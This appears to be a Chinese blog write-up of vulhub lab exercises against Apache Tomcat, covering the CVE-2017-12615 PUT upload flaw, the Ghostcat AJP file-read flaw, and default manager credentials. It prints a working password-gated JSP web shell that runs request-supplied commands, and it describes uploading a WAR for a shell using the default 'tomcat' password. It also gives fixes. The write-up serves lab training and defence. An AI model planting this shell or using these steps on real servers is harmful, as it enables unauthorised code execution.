vulhub-Tomcat

文章目录

    • Tomcat
    • CVE-2017-12615(5.x 到 9.x)
    • CVE-2020-1938(Ghostcat(幽灵猫))
    • Tomcat-manager默认密码

Tomcat

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

CVE-2017-12615(5.x 到 9.x)

因为配置不当导致的任意代码执行漏洞
在tomcat的./conf/web.xml配置文件中,将readonly设置为了false,那么就可以使用PUT和DELETE动作对文件进行创建及删除

    用来声明一个servlet的数据,主要有以下子元素:
        default指定servlet的名称(Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。)
        org.apache.catalina.servlets.DefaultServlet指定servlet的类名称
        用来定义参数,可有多个init-param。在servlet类中通过getInitParamenter(String name)方法访问初始化参数
            debug
            0
        
        
            listings
            false
        
readonlyfalse
        1指定当Web应用启动时,装载Servlet的次序。    
                                 当值为正数或零时:Servlet容器先加载数值小的servlet,再依次加载其他数值大的servlet.    
                                 当值为负或未定义:Servlet容器将在Web客户首次访问这个servlet时加载它
    

vulhub-Tomcat_第1张图片

验证:
vulhub-Tomcat_第2张图片
vulhub-Tomcat_第3张图片
验证代码:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %>

修复方法:禁止PUT,DELETE等动作,设置readonly 为 true

CVE-2020-1938(Ghostcat(幽灵猫))

影响版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

Tomcat AJP Connector:

Tomcat Connector 是 Tomcat 与外部连接的通道,它使得 Catalina 能够接收来自外部的请求,传递给对应的 Web 应用程序处理,并返回请求的响应结果。

默认情况下,Tomcat 配置了两个 Connector,它们分别是 HTTP Connector 和 AJP Connector:

HTTP Connector:用于处理 HTTP 协议的请求(HTTP/1.1),默认监听地址为 0.0.0.0:8080

AJP Connector:用于处理 AJP 协议的请求(AJP/1.3),默认监听地址为 0.0.0.0:8009

HTTP Connector 就是用来提供我们经常用到的 HTTP Web 服务。而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol),AJP 协议可以理解为 HTTP 协议的二进制性能优化版本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

转载于:添加链接描述

这个可以去用xray或者长亭官网查看网站是否有漏洞:
vulhub-Tomcat_第4张图片

poc使用:
vulhub-Tomcat_第5张图片

poc下载地址:
添加链接描述

Tomcat-manager默认密码

在conf/tomcat-users.xml文件中配置用户的权限:




    
    
    
    
    
    
    
    

可以看到tomcat账户拥有上面的所有权限,并且默认密码是tomcat,这样我们可以登陆,manager app,然后上传war文件:
vulhub-Tomcat_第6张图片
War包可以放在Tomcat下的webapps或者word目录下,随着tomcat服务器的启动,它可以自动被解压。

这样我们可以将我们的getshell打包上传,然后getshell。

你可能感兴趣的:(vulhub-Tomcat)